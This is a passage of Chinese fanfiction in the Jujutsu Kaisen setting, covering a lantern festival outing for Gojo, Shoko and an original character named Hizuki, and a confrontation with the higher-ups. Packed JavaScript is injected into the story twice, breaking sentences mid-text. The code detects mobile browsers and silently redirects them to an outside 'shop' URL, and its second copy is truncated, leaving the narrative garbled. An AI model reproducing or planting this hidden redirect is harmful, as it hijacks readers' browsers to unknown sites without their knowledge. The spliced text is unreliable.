“哇哦,”五条悟吹了声口哨,“比照片上热闹多了。” “还不到人最多的时候。”硝子终于站直身体,把香烟塞回口袋,“等烟火大会开始,这条参道会挤到走不动。”她瞥了眼绯月畏,“第一次来?” 绯月畏点头。 “那做好心理准备。”硝子率先走向人流,“跟紧点,走散了可不好找。” 五条悟笑嘻嘻地跟上,走了几步却突然回头——绯月畏还站在原地,望着那片灯笼海,脸上没什么表情,但肢体透着一种近乎警戒的僵硬。 “怎么了?” “太亮了。”她说。 “灯会嘛,就是要亮——”五条悟话说到一半,顿住了。他顺着她的视线看去,终于意识到问题所在。 不是灯笼太亮。 是她太显眼了。 雪白的衬衫在暖黄光晕里像一道不合时宜的月光,墨镜遮住了眼睛,却遮不住那张脸上过于完美的轮廓。周围已经有人停下脚步偷瞄,窃窃私语像小范围扩散的涟漪。 五条悟眨了眨眼。他习惯了走到哪里都是视线焦点,六眼和无下限的存在本身就像行走的聚光灯。但此刻他才迟钝地发现——当另一个同样“非常规”的存在站在身边时,这种注目礼会翻倍。 “啊。”他发出一个毫无意义的音节,然后突然转身,挤进旁边一个卖廉价杂货的摊位。 家入硝子看着他跟摊主比划,看着他掏出钱包,看着他拿着一件明显是均码的黑色外套和一顶同样黑色的鸭舌帽走回来——帽檐上甚至还有个没剪掉的价签。 “给。”他把东西塞给绯月畏,动作自然得仿佛早有准备,“穿上这个,低调点。” 绯月畏低头看着手里质感粗糙的外套,沉默了两秒。 “……你买的?” “借的!”五条悟理直气壮,“押了教师证,回去之前还回来就行。” 硝子在一旁按了按太阳穴。“五条,问题可能不在衣服。” “那在什么?” “在你这张脸,和她那张脸,还有你们两个站在一起时那种‘我们不是普通人’的气场。”硝子叹了口气,“算了,穿上总比不穿好。” 绯月畏最终还是套上了外套——不过是五条悟身上扒下来的——至于五条悟买的那间廉价帽衫——自己穿着吧。 过大的尺码让她看起来像偷穿了大人衣服,但黑色确实压住了那身醒目的白。帽子扣上去时,帽檐几乎遮到鼻梁,只露出抿成一条直线的唇。 “完美!”五条悟比了个大拇指,完全无视了硝子“你认真的吗”的眼神。 三人汇入人流。 参道两侧的摊位密集得几乎没有空隙。捞金鱼的纸网在灯光下透出湿润的光,章鱼烧的铁板滋滋作响,苹果糖的糖壳反射着晶莹的光泽,炒面的油烟混进空气,和远处神社传来的线香味交织成一种独特的、属于祭典的气息。 五条悟像解开了某种束缚,瞬间就没了影。 “喂——这个看起来超好吃!”“硝子硝子,那边在卖发光气球!”“啊,狐狸面具!要不要买三个一起戴?” 他的声音从各个方向飘过来,伴随着摊主们“客人慢点”“找您零钱”的呼喊。家入硝子已经习惯性地无视,自顾自在一个卖烤团子的摊前停下,要了两串酱烧口味。 绯月畏走得很慢。 她在观察。 不是走马观花,而是一种系统性的、近乎解剖的观察:卖棉花糖的老人手腕有陈年骨折愈合的痕迹,动作却依旧流畅;情侣中的女性心跳过速,但并非因为兴奋,而是某种未明说的焦虑;几个穿浴衣的少女叽叽喳喳讨论着烟火的位置,其中一人脚踝上缠着极淡的诅咒气息——应该是最近路过咒灵残留地时无意间沾染的。 “你在记什么?”硝子递过来一串团子。 绯月畏摇头拒绝。“样本数据。” “……样本?” “人类在非生存必需活动中的行为模式。”她说得很平淡,“很有趣。明明知道这种聚集会吸引咒灵,明明知道食物可能不卫生,明明拥挤会造成踩踏风险——但还是会来。为什么?” 硝子咬了口团子,酱汁沾到嘴角。“因为‘开心’不需要理由。” “开心。”绯月畏重复这个词,像在品尝陌生食物的味道。 她停下脚步,望向前方摩肩接踵的人群,又看了看自己这一身格格不入的白。密集的生物信号像潮水般一波波涌来,心跳、呼吸、汗液蒸腾的热度——所有这一切交织成一张无形的网,让她感到一种久违的、近似眩晕的不适。 她脚尖微转。 “绯月老师——” 五条悟的声音突然从前方炸开。 “找到了!书摊!” 也不知道他什么时候窜过去的。那身影在人群中灵活得像条鱼,眨眼就挤到了一个堆满花花绿绿封面的摊位前。 绯月畏的脚尖又转了回来。 家入硝子顺着她的视线看过去,嘴角微微抽了抽。那种集市的书摊……她大概能猜到卖的是什么书。但她跟绯月畏不熟,不确定对方看的书的类型——万一人家就好这口呢? 等穿过人群、顶着无数惊艳的目光走到书摊前,绯月畏低头看向摊子上那些花花绿绿的封面,陷入了长久的沉默。 泳装写真。少女漫画。八卦周刊。还有几本标题耸人听闻的都市传说合集。 五条悟已经蹲在摊前翻得起劲。 “哇,这本我找了好久!”“硝子你看这个模特,是不是超——可爱?”“诶诶,这里居然有十年前的运动杂志!” 摊主是个打瞌睡的老太太,对这边的热闹毫无反应。 家入硝子叹了口气,从摊子角落抽出两本摄影集——至少封面是正经风景。感受到身旁投来的视线,她侧头解释: “虽然是写真,但这本杂志挑模特的眼光很不错,身材比例都很标准。” 绯月畏看了她一眼。 家入硝子忽然意识到,她们还没正式认识过。高专医务室里见过几面,但每次都隔着五条悟那个聒噪的家伙。 “家入硝子?”绯月畏先开了口。 “嗯。”硝子点头,“正式介绍一下——高专校医。” 绯月畏微微颔首,算是打过招呼,目光却已经落在了摊位最底层。她蹲下身,从几本旧杂志下抽出一册薄薄的、线装的手抄本。封面没有字,翻开后是毛笔写就的工整小楷,记录着某种地方性的祭祀流程,夹杂着简陋的手绘阵图。 “这个,”她把本子递给硝子,“有用吗?” 硝子翻了两页,挑眉。“民间咒术残留的记录……虽然是几十年前的东西了。”她抬起头,眼神里多了一丝审视,“你一眼就能看出来?” “墨水的氧化程度,纸张的纤维密度,书写时用力习惯造成的凹陷。”绯月畏说,“这些细节会说话。” 五条悟凑过来看了一眼,顿时失去兴趣。“什么嘛,正经书啊。我还以为会找到什么秘传咒术呢——” 话没说完,他怀里那堆花花绿绿的杂志突然被硝子抽走一半。 “这些,放回去。”硝子面无表情,“五条,你是个教师。” “教师也有娱乐需求嘛!” “娱乐需求不包括在公共场合翻阅这种——”硝子顿了顿,翻到其中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485862|202003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一页,上面是穿着清凉的偶像团体,“——青少年不宜内容。” “诶——硝子好严格!” “你有点常识。不管怎么看,这都不是能在大庭广众之下打开、并且给女性看的东西。” “诶?是吗?”五条悟一脸无辜地放下书,“可是硝子你不是医生吗?医者眼里应该不分男女才对吧?” 家入硝子抬手就把手上的书对着那张脸砸了过去。 五条悟接住书,笑得肩膀直抖。 绯月畏看了看这对活宝,忽然开口:“你有行医执照吗?” 硝子动作一顿。 “……在考了。” 绯月畏点点头,没再说什么,低头在摊子上又挑了几本风景画册,走向角落里的收钱箱。 这种摊子一般没人看着,只在收摊前才有人来收。钱箱旁边放着纸袋,自取自付。她从钱包里取出零钱塞进去,把挑好的书装进纸袋。 一转身,发现五条悟已经清空了半个摊子——全是花花绿绿的写真集和少女漫。 硝子的拳头又硬了。 最终,五条悟只被允许买了两本体育杂志。 他抱着杂志,像只被没收了零食的大型犬,蔫蔫地跟在两人身后,走向集市入口的临时寄存点。 寄存完东西,三人继续沿着参道往上走。 灯笼的光连成一条蜿蜒的光带,照亮两侧摊贩的笑脸和游客手中各式各样的发光玩具。孩子的嬉闹声、情侣的私语、老人的谈笑,所有声音混在一起,形成一种温暖的、几乎有重量的喧哗。 五条悟又恢复了活力,在每个小吃摊前停留,手里很快多出苹果糖、章鱼烧、烤鱿鱼、鲷鱼烧……他咬了一口苹果糖,糖壳碎裂的声音清脆。 “绯月老师,真的不吃?”他把咬过的苹果糖递过去——当然,隔着一层无下限。 绯月畏看了一眼糖面上清晰的牙印。“不用。” “那硝子——” “我自己有。”硝子晃了晃手里的啤酒罐,不知何时买的。 五条悟撇撇嘴,继续啃他的糖。糖渣粘在嘴角,在灯光下亮晶晶的。 家入硝子从口袋里摸出一根棒棒糖,葡萄味的,递向绯月畏。 绯月畏摇头。 硝子收回手,剥开糖纸塞进自己嘴里。 平时跟着五条悟出门,吸引的视线已经够多了。但因为他太欢脱,那张脸反而让人不敢靠近。今天带上一个容貌气质几乎是五条悟性转的绯月畏,情况完全不同了—— 他们经过的地方,所有人都看过来了。 即使有个打扮如出一辙的五条悟在前面撒欢,也抵挡不住总有人上前搭讪。求认识的,求好友的,求同行的…… 走了半条街,家入硝子看得心累。 五条悟劝退搭讪者靠的是自身讨人嫌的性格。绯月畏就全靠一身冷冰冰的气势了——一路走过来一个字没说,已经冻退了一大波人。 但总有不死心的。 又一个年轻男人凑上来,脸上堆着自认为最有魅力的笑:“小姐,一个人吗?要不要一起——” 话音未落,一只胳膊从旁边伸过来,搂上了绯月畏的肩膀。 当然,没搂到。 两个人之间隔着无下限,还隔着绯月畏仿照无下限裹的那层空间。但在旁人眼里,这一幕就是“亲密无间”。 “呐!”五条悟的声音咋咋呼呼地凑近耳边,“你喜欢的那家红茶,今天在这里也有摊子,卖的是红茶糕!” 绯月畏侧头,看见五条悟笑得像只偷到鱼的猫。 那个搭讪的男人脸色变了变,讪讪地退开了。 只有离得近的家入硝子清楚地看见,两个人之间至少隔着两指宽的空隙。 她沉默地把棒棒糖从左边换到右边,什么都没说。 绯月畏接过五条悟递来的点心盒子,低头看了一眼。 再抬头时,五条悟已经又跑没影了。 家入硝子指了指旁边的店铺:“那里有桌椅可以坐。找个角落,应该就不那么显眼了。去吗?” 绯月畏看了一眼那家烧烤店,点头。 15. 奈良灯会Ⅱ 等两个人在路灯照不到的角落坐下来以后,看着蜂拥而至的顾客,家入硝子嘴角抽了抽。 她想多了。 绯月畏这一身雪白,即使在角落,也遮不住她的耀眼。倒不如说,在昏暗的角落里,那一抹白反而更引人注目了。 好在她们刚坐下,身材魁梧的老板拿着菜单过来,往旁边一站,挡住了大部分视线。 “两位小姐,吃点什么?” 家入硝子接过菜单,放到两人中间。绯月畏扫了一眼,抬手指向角落的啤酒。 “这个。”顿了顿,“不要灯。” 老板愣了一下,随即点头。旁边那些窥探的视线,他比谁都清楚怎么应付。“两瓶啤酒,三串烧鸟,马上来。” 老板走后,店里的视线再次笼罩过来。 家入硝子无奈地摇摇头,转头发现绯月畏正抬着头看向某个方向。她循着视线看过去——她们坐的位置刚好有个空隙,可以从屋檐的缝隙里看到头顶上繁星点点。 “看来明天是个好天气。”硝子说。 绯月畏没接话,不过视线收了回来。 “我说你们——” 旁边突然坐下来一个人,理直气壮地开始恶人先告状: “跑到这种犄角旮旯都不跟我说一声。” 桌面上霎时放满了五条悟带来的各种吃食。 绯月畏慢吞吞地拆开那盒红茶糕,咬了一口。 家入硝子有些好奇地问:“味道怎么样?” 绯月畏咽下去,面无表情地评价:“不怎么样。” 硝子顿时失去了买来尝尝的冲动。 烧烤上来的时候,绯月畏已经吃完了那块糕点。她擦干净手指,看向五条悟: “最强今天罢工?” 五条悟咬了一大口鲷鱼烧,含糊不清地说:“就不能等我吃完再问吗?” 硝子没听懂他们在说什么。但五条悟拿着吃了一半的鲷鱼烧起身离开时,她意识到了什么。 “有咒灵?” 绯月畏“嗯”了一声。 老板过来放下三串烧鸟和两瓶啤酒,帮忙开了瓶后离开了。绯月畏看着那瓶啤酒,没动。 硝子拎起一串烧鸟,刚咬了一口,就听见绯月畏问: “你们咒术师对诅咒师是有悬赏的吧?” 硝子动作顿了顿,咽下嘴里的肉。“大部分都有。不过一般没什么人会特意去接,除非对方犯事儿时撞到自己手上了。” 绯月畏了然地点头。 硝子倒出啤酒在杯子里喝了一大口,放下酒杯:“你看见了?” “两个小姑娘。” 绯月畏学着硝子的动作想倒酒,却发现没有多余的杯子。她抬眼,和偷摸看过来的老板隔着墨镜对了一眼。 老板转身,恭敬地送来一根吸管。 五条悟回来时,看见的就是这样一幅画面:绯月畏拿着吸管,慢条斯理地喝着瓶里的啤酒;家入硝子一脸意外地看着她,像是在看什么珍稀动物。 他坐下来,鼻尖耸了耸,看向绯月畏,眉头皱起: “喝酒?” 绯月畏对上他的视线,从那眼神里读出了什么。“嗯。” 硝子笑着端起杯子:“来一口?” “不要!”五条悟拒绝得很果断,“又不好喝。真搞不懂你们。”他盯着绯月畏,“绯月老师你不会跟硝子学坏了,要当个酒豪吧?” “酒豪?”绯月畏回忆自己看过的书,看向硝子,“家入医生很能喝?” “没醉过。”家入硝子很是自豪地开口。 绯月畏喝酒,家入硝子拿烧鸟下酒,五条悟抱着一大堆加了致死量糖霜的食物猛吃。三人各自安详,竟有种诡异的和谐。 直到五条悟突然一脸烦躁地站起来,举着吃了一半的苹果糖走了出去。 绯月畏放下空瓶,站起身。 家入硝子叹了口气,把五条悟没吃完的东西收拾好,拎在手上跟了出去。 进来时纷纷攘攘,离开时悄无声息。家入硝子完全没看出来绯月畏做了什么——她只是走在自己身边,但存在感突然减弱到了连硝子都险些找不到人的地步。 五条悟的外套,这么有用吗? 走到上山顶的小道入口,两人撞见了返回来的五条悟。他一脸气愤地接过硝子递过去的东西,从怀里摸出还热乎乎的章鱼小丸子: “现在一级都这么不值钱了吗?” 绯月畏踏上上山的路,清冷的声音传进两人耳朵里: “我听说了一个很有意思的话题——说是五条悟的出生,打破了人类和咒灵之间实力的平衡。所以咒灵一方的力量得到了极大的增长。” 五条悟跟在后面,等着下文。 “人类方的实力增加如果是五条悟的话,”绯月畏继续说,“那咒灵呢?靠数量吗?” 家入硝子步子一顿。 这话透露出来的信息,有些惊悚了。 “也许?”五条悟耸了耸肩。 绯月畏侧头看他:“你也这么认为?” “要么还在孵化,要么躲起来了。”五条悟咬了一口章鱼烧,“反正没什么区别。要是真那么强,何必躲躲藏藏的?” 绯月畏点头,不置可否。 五条悟忽然凑近一步:“说起来,绯月老师还没跟咒灵交过手吧?要试试吗?” 话音刚落—— 一只蝇头从林子里倏然窜出,一头撞向走在前面的绯月畏。 家入硝子刚看清那是什么东西,下一刻,那只蝇头就不见了。 旁边传来五条悟不爽的一声“啧”。 硝子转过头,就见五条悟手上抓着一只蝇头,一把掐死了。 家入硝子:“…………” 刚才发生了什么? “五条悟。”绯月畏的声音淡淡的,却带着一丝凉意,“不要做无聊的事。” 硝子恍然大悟——绯月畏的术式是空间? “空间转移?” “可不只是空间转移那么简单的东西。”五条悟像是被激活了什么开关,滔滔不绝起来,“她的空间里没有时间的概念。这种微米级别的空间操控,简直可以说是无下限的高配版!甚至绯月老师还有类似于操控植物的能力藏着掖着没用过!” 他越说越来劲: “硝子你有没有觉得,她的存在简直是对咒术界最大的嘲讽?他们天天防备我,但是连这么大的‘无下限2.0’别说发现了,他们甚至都没有过相关记载!” “五条悟。”绯月畏打断他,“失望得太假了。引导我和总监部对上,对你没有好处。” 五条悟撇嘴:“切——” 家入硝子按了按太阳穴:“我不管你们两个特级是想干什么了不得的大事,麻烦不要把我牵涉进去。我真的只是一个防御力为0的校医。” “硝子,放心好了!”五条悟笑得很是灿烂,“有我在,你怎么可能有事!” “有你在我才有事。” 越往山上走,人越密集。参道逐渐变窄,两侧开始出现茶屋和休息处。五条悟突然停下,指向一家挂着暖帘的店铺: “那里有位置!去坐会儿?” 店铺是传统的茶屋结构,门口挂着“甘味处”的招牌。屋内已经坐了大半,但角落靠窗的位置还空着。三人挤过去坐下,木质桌椅发出轻微的吱呀声。 老板是个和善的中年女人,很快端来菜单。五条悟看都没看就点了一堆甜点,硝子要了啤酒和毛豆,绯月畏只要了杯冰水。 “来灯会就喝冰水?”五条悟不满。 “足够。” 等待食物时,窗外的人流依旧熙攘。灯笼的光透过窗纸映进来,在桌面上投下晃动的光斑。远处传来太鼓的排练声,咚、咚、咚,沉稳得像心跳。 “说起来,”五条悟托着下巴,视线落在绯月畏被帽檐遮住的半张脸上,“你刚才说‘样本数据’……那分析出什么了?” 绯月畏沉默片刻。 “分析出,人类是一种会在‘安全阈值边缘’反复试探的生物。”她说,“明知道拥挤可能引发踩踏,还是往人最多的地方挤;明知道高糖高油的食物不健康,还是排队购买;明知道烟火转瞬即逝,还是愿意等几个小时,只为了看那几十秒的光。” 她抬起眼,墨镜在灯光下反着冷光。 “这种非理性的、近乎自我毁灭倾向的行为模式,在自然界其他物种中很少见。” 五条悟笑了:“因为其他物种不会觉得‘烟花好看’啊。” “所以,‘美’的感知足以压倒生存本能?” “不止是美。”硝子插话,喝了口啤酒,“还有‘和大家一起’的安心感,‘一年只有一次’的仪式感,‘留下回忆’的满足感……人类需要这些东西,就像需要空气和水。” 绯月畏没说话。她看向窗外,一个穿浴衣的小女孩正踮着脚,试图把祈愿签挂到树枝上。母亲在一旁扶着她的腰,父亲举着手机拍照。灯笼的光落在一家三口脸上,温暖得几乎不真实。 食物上来了。五条悟的甜点堆了半张桌,他挖了一大勺抹茶巴菲塞进嘴里,幸福地眯起眼。硝子慢条斯理地剥毛豆,偶尔喝口啤酒。绯月畏的冰水在杯壁上凝出水珠,她没喝,只是看着。 “其实啊,”五条悟忽然开口,声音比平时轻,“我以前也不懂。” 硝子抬眼看他。 “小时候被关在家里,学咒术,学礼仪,学怎么当‘五条家主’。”他用勺子戳着巴菲上的红豆,“第一次偷跑出来参加祭典,看到这么多人挤在一起,吵得要死,吃的都是些不健康的玩意儿……我那时候想,这些人到底在高兴什么?” 他顿了顿,挖起一勺冰淇淋。 “后来杰——啊,就是我那个叛逃的挚友——他说,‘悟,你站得太高了’。”五条悟把冰淇淋递进嘴里,含混不清地说,“站得太高,就看不清地上的人为什么笑。你得蹲下来,或者……干脆躺平,让自己也沾一身土。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485863|202003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 硝子笑了:“夏油会说这种话?” “原话更哲学一点,我简化了。”五条悟耸肩,转头看向绯月畏,“所以呢,始祖大人?你要不要也……沾点土?” 绯月畏与他对视。 良久,她说:“我活过的岁月,比你脚下的土堆积的时间还长。” “所以?” “所以我见过太多文明升起又坠落,见过太多人在尘土里笑过又哭过。”她站起身,冰水一口未动,“泥土不会因为沾得多就变成故乡,烟火也不会因为看得久就变成太阳。” 她走向门口。 五条悟没拦,只是托着下巴看她离开的背影。硝子叹了口气,把剩下的啤酒喝完。 “失败了?” “早料到了。”五条悟挖完最后一口巴菲,“不过没关系,这才第一次嘛。” “你还打算有第二次?” “第三次、第四次、第五次……”五条悟数着手指,笑得像只谋划恶作剧的猫,“直到她承认,偶尔沾点土也没什么不好。” 硝子摇头,放下啤酒罐。“随你。不过现在,你是不是该去处理那个了?” 她指了指窗外——参道尽头,山林的方向。常人看不见的,稀薄的咒力残秽正在空气中缓慢扩散。 五条悟撇撇嘴。“二级咒灵,窗的人应该已经去了……算了,我去看一眼。” 他起身,把甜点钱拍在桌上,身影一晃就消失在人群里。 硝子独自坐了一会儿,付了账,走出茶屋。夜色渐深,灯笼的光显得更加温暖。她在人群中寻找那道黑色外套的身影,最后在参道边缘的石灯笼旁找到了—— 绯月畏站在那里,仰头看着天空。 不是看烟火的方向,是看更深的、星辰稀疏的夜空。 “不去看烟火?”硝子走过去。 “在这里也能看到。”绯月畏说。 确实。从这个角度,能看到远处神社上空已经准备好的烟火发射架,工作人员正在做最后检查。 硝子靠在她旁边的石栏杆上,摸出烟盒,想了想又放回去。“五条那家伙,虽然方法笨了点,但心意是真的。” “我知道。” “那为什么——” “因为心意改变不了事实。”绯月畏打断她,“他想要的‘改革’,需要的不是多一个战力,而是彻底重构这个系统的‘规则’。而规则……”她顿了顿,“是最难改变的东西。” 硝子沉默片刻。“你觉得他做不到?” “我不知道。”绯月畏说,“但我知道,试图改变规则的人,往往第一个被规则吞噬。” 远处传来太鼓的号令声。咚——咚——咚—— 人群开始骚动,所有人都抬头看向夜空。工作人员撤离发射区,倒数声通过喇叭扩散开来。 “十、九、八——” 五条悟不知何时回来了,站在两人身后三步远的地方,头发上沾了片树叶,手里又多了盒章鱼烧。 “七、六、五——” 他走到绯月畏身边,把章鱼烧递过去。这次没说话。 “四、三、二——” 绯月畏没接。 “一!” 第一束光升上夜空。 炸开的金色花火照亮了所有人的脸——仰起的、带着笑的、映着光的脸。惊叹声如潮水般涌起,又一波烟火紧随其后,红色、蓝色、紫色,光之花朵在夜幕上次第绽放,坠落的光屑像一场倒流的雨。 五条悟仰头看着,嘴角沾着章鱼烧的酱汁。硝子点了根烟,烟雾在光中袅袅上升。绯月畏依旧站着,墨镜映出漫天华彩,却遮住了所有情绪。 在持续了整整十分钟的烟火表演达到最高潮时,夜空被照得亮如白昼。所有人都仰着头,沉浸在转瞬即逝的光之盛宴中。 只有两个人低下了头。 五条悟和绯月畏,在这一刻同时将目光投向了下方——那片被烟火照亮的人间灯火。灯笼的光河、摊位的暖光、茶屋的窗灯、还有无数手机屏幕的微光,交织成一片比夜空更真实、更温暖的星海。 那里有笑声,有话语,有活着的气息。 有五条悟想守护的“人间”。 也有绯月畏看了千年、却依然未能完全理解的“短暂”。 最后一朵烟火在夜空绽开,化作无数光点缓缓消散。掌声和欢呼声响起,祭典进入尾声。 五条悟转头看向绯月畏,想说什么。 但她已经转身,走向下山的路。黑色外套在夜风中微微扬起,像一片即将融入黑暗的影。 他笑了笑,把剩下的章鱼烧塞进嘴里,跟了上去。 硝子留在原地,抽完最后一口烟,将烟蒂按灭在随身带的便携烟灰缸里。 “任重道远啊,五条。”她轻声说,也不知是说给谁听。 然后她也转身,汇入开始疏散的人流。 夜空重归寂静。 只有灯笼还亮着,温柔地、固执地,照亮下山的路。 16. 第四位特级 一大清早,刚批完一年级三个笨蛋学生的作业,绯月畏冷着脸回到宿舍洗漱。 五条悟难得这个时间点在宿舍,还没有睡觉,而是坐在客厅打游戏。见绯月畏进门还被对方招呼来一局,被拒绝后转过头专注在屏幕上了。 等到绯月畏一觉睡醒,已经是夜幕降临的时间了,出门看见五条悟依然坐在客厅里,走过去在沙发上坐下后对方推过来热气腾腾的一碗面。 “无事献殷勤,非奸即盗。” 五条悟“诶——”了一声,“本来校长让我叫你去一趟的,但是你在睡觉,这不是很贴心地在等你睡醒吗?” 绯月畏闻言,这才伸手拉过面碗,“看来五条家的保密措施做得不怎么样。” 五条悟讪笑着挠了挠头,“御三家谁家都有别家的眼线,这种事情避免不了的,不如说已经过去了三个多月,炎炎夏日都正当头了他们才发现,我才觉得家里的老橘子们已经算是有点用了。” 绯月畏抬起猩红的眼眸看了一眼五条悟,“你要求倒是挺低。” 五条悟摊手,“不要对半只脚踏进棺材的老橘子抱有太多指望,这已经是他们努力后的结果了。” 了然地点头,绯月畏吹了吹筷子上的面条,“看来你已经闹过一场了。” 五条悟:“……” “不过第一时间就定位总监部的老橘子,绯月老师,我是不是可以认为这本来就是你计划的一环?”五条悟脸上又久违地换成了墨镜,碎发散落下来影影绰绰盖住了额头。 “或者说,你对你的盟友,也就只有这么一点信心了?” 绯月畏抬手,竖起一根手指,五条悟眨了眨眼,“啊抱歉……你继续吃。” 一个吃一个看,两人都没觉得半点不自在。等到绯月畏认真吃完一碗面把碗推开,这才来回答五条悟的问题: “进入咒术界到现在,我确信选择你作为盟友是最好的选择。”五条悟咧嘴一笑,抬手揉了揉头发,一脸说到心坎上的骄傲,“但是——”转折来了,“不管是年初我找上你,还是已经深入到一定程度的现在,我依然认为,能成为的盟友,你不是唯一的选择。” 绯月畏起身走向沙发,“不管是御三家还是诅咒师夏油杰,甚至是那颗乱窜的脑花,相比之下,和这些东西结盟比和你结盟来得轻松得多。毕竟不管他们智商垫底到了一种什么样的程度,至少他们目前看起来没有那么你那么麻烦。”绯月畏坐下,理了理翻折的袖口,“你身上因果太杂了,一个羁绊过多的存在,做什么都会畏手畏脚,就像你现在这样。” 五条悟侧身,抬手搭在椅背上,“所以我才需要盟友,”五条悟另一只手在餐桌上点了点,“而我是一个有原则的人。绯月小姐不也正式吃准了这一点才毫无顾忌地找上我的吗?” 绯月畏向后靠在沙发上,猩红得到眼眸在逐渐暗下来的天色里闪过一抹绯色的光。六眼捕捉到这一点变化,眉心微皱。不过绯月畏没太注意,她只是受到规则压制得太狠,导致力量没恢复好,这一点她会花时间来弥补。 咒术师可以从外界汲取到空气中逸散的咒力补充自身消耗,她可不行。 “五条悟,作为一个想改革的人,你太心慈手软了。” 五条悟取下墨镜挂在领口,抬头对绯月畏笑了下,没接这话。 绯月畏看着五条悟良久后倏然起身,走向房间,“算了,你要是心狠手辣,和总监部的烂橘子们没有区别,这个咒术界就真的没救了。” ——## 此时的校长室里,早上就到了的总监部派出的高层已经坐得脸色铁青。 “夜蛾校长,天都黑了,你不要告诉我你们学校那位架子大的礼仪老师到现在还没起床?!” 夜蛾正道坐在桌子后面戳着羊毛毡,脸色不变。 “我还是那句话,高专没有什么礼仪老师,最近几年学校唯一入职的,只有五条悟一个人。” “嘭!”的一声,中年高层眼镜后凛然的眼睛越发狠厉,一巴掌拍在茶几上。“你敢说高专没有一个叫绯月畏的人?” 夜蛾正道抬了抬鼻梁上的眼镜,“那不是五条老师的朋友吗?不过是在学校借住一段时间,怎么就成老师了?你看见她的入职报告了?” “既然是与咒术界无关的人,你为什么让人住进高专宿舍?!” 夜蛾正道脸上写满了正直两个字,他说:“她是与咒术界无关,她只是和最强咒术师有关。你们问我干什么?高专有没有不让外人借住的规定,她整天呆在宿舍看自己的书,又不会影响学生们上课,有什么住不得的?五条悟的性子是我能管得了的吗?人家就算犯事了也该是警察管,总监部还管不到非咒术师的头上吧?” “非咒术师?”为首的人半张脸都隐没在黑暗里,说话语气都阴测测的,他哼笑道:“五条家会让一个非咒术师担任长老之位?你开什么玩笑?!现在总监部要对其进行评级考核,夜蛾校长我劝你还是早点把人交出来!” “交什么人呐?”门外传来熟悉的令总监部的人心梗的声音。 夜蛾校长不动声色地舒了口气。 大门被人“刷!”的一声拍开,五条悟大踏步走进来,直直走到长桌边,歪歪扭扭地靠在了桌子上。 “我怎么听到有蚊子哼哼?”五条悟转头看向夜蛾正道,“夜蛾校长,你这校长室是不是该杀杀毒了?” 总监部的人攥紧了拳头,敢怒不敢言,“五条悟,总监部要见你们学校的礼仪老师绯月畏,她人呢?” 五条悟侧头看了过来,校长室里顿时冷气都凉了下来,一群人冷汗直冒。 半晌,五条悟才慢吞吞地说:“什么礼仪老师?高专什么时候需要礼仪课了?教什么?插花还是茶道?你脑子有问题吗?” 总监部刚想开口,五条悟又给堵了回去,“再说了,学校里叫绯月畏的只有一个我五条家的长老,我五条家长老是你想见就见的吗?你算什么东西在这乱叫?拜贴都没有就这么空着手上门,求见就你们这种态度?一点礼貌一点教养都没有吗?我看总监部才是最需要上礼仪课的人吧。” 这熟悉的阴阳怪气的味儿,夜蛾正道不想承认他在这堆毒辣的“问候”中听出了绯月畏的口吻。 “特级咒术师五条悟,”总监部有些气急败坏了,“你是想和总监部为敌吗……” “吵死了。” 五条悟掏了掏耳朵,“现在是放学的时间了,不要吵到我去食堂吃饭的学生啊大叔——”五条悟拖长了声音,道:“一把年纪了,这么咋咋呼呼的一点风度都没有。难道我刚刚说的有什么问题吗?居然还上升到与总监部为敌?总监部不过就是咒术界管理层的一个机构罢了,难不成——”五条悟垂下眸子,湛蓝从镜框后露出一角,带着无限的讥讽,“当自己是什么皇室宗亲,自成一国了?” 总监部成员面面相觑后牙都咬碎了,狠狠将一封公文掼在茶几上,“五条悟,这是总监部的命令,你无权拒绝。若是阻拦总监部的任务执行,你是想要叛变吗?!” 五条悟抬手扇了扇,一脸的不在意,墨镜后的眼神闪了闪朝着门口移了一下后嘴角勾起浅笑,“我要是真的叛变了,那就是你们逼的,你们确定要这么下定论吗?”五条悟摊手,“我无所谓哦。” 比起五条悟离开咒术界,是咒术界离不开这个能挑大梁的最强才对。 “啪!”的一声,总监部的人倏地起身,一巴掌按在茶几上,“五条悟!你别以为真的没人能替代你!就算你自己无所谓,”为首的中年人推了推鼻梁上的眼镜,笑得很是胸有成竹,道:“你就不为你的学生想想吗……” “他要为谁想?” 身后突然响起一声凑的很近的问候,声音里透出的漠然比化雪时的气候还冷。 总监部的人倏然回头。 夜色如墨汁般从窗棂缝隙渗入校长室时,绯月畏推门走了进来。 她没有脚步声。或者说,有,但被某种更沉重的东西覆盖了——那是种无形的“存在感”,像深海突然漫进室内,空气骤然变得黏稠、冰冷,带着古老岩层深处的压迫。 总监部的七个人同时僵住了。 为首的中年男人正保持着拍桌的姿势,脸上的怒意还凝固着,却在对上那道白影的瞬间褪成苍白。他张了张嘴,想说什么,膝盖却先一步发出不堪重负的哀鸣。 “扑通。” 不是跪,是瘫。七个人像被无形的手按着肩膀,齐刷刷矮了一截,膝盖砸在地板上的声音沉闷得令人牙酸。 五条悟靠在长桌边,墨镜后的六眼微微睁大。 他看见了——绯月畏周身逸散出的、淡到几乎透明的赤色能量,在0.01秒内填满了整间屋子。那不是攻击,只是她“存在”本身带来的重量,像深海鱼浮到浅海,水压自然改变。而这些总监部的人,不过是承受不住这种“自然改变”的浮游生物。 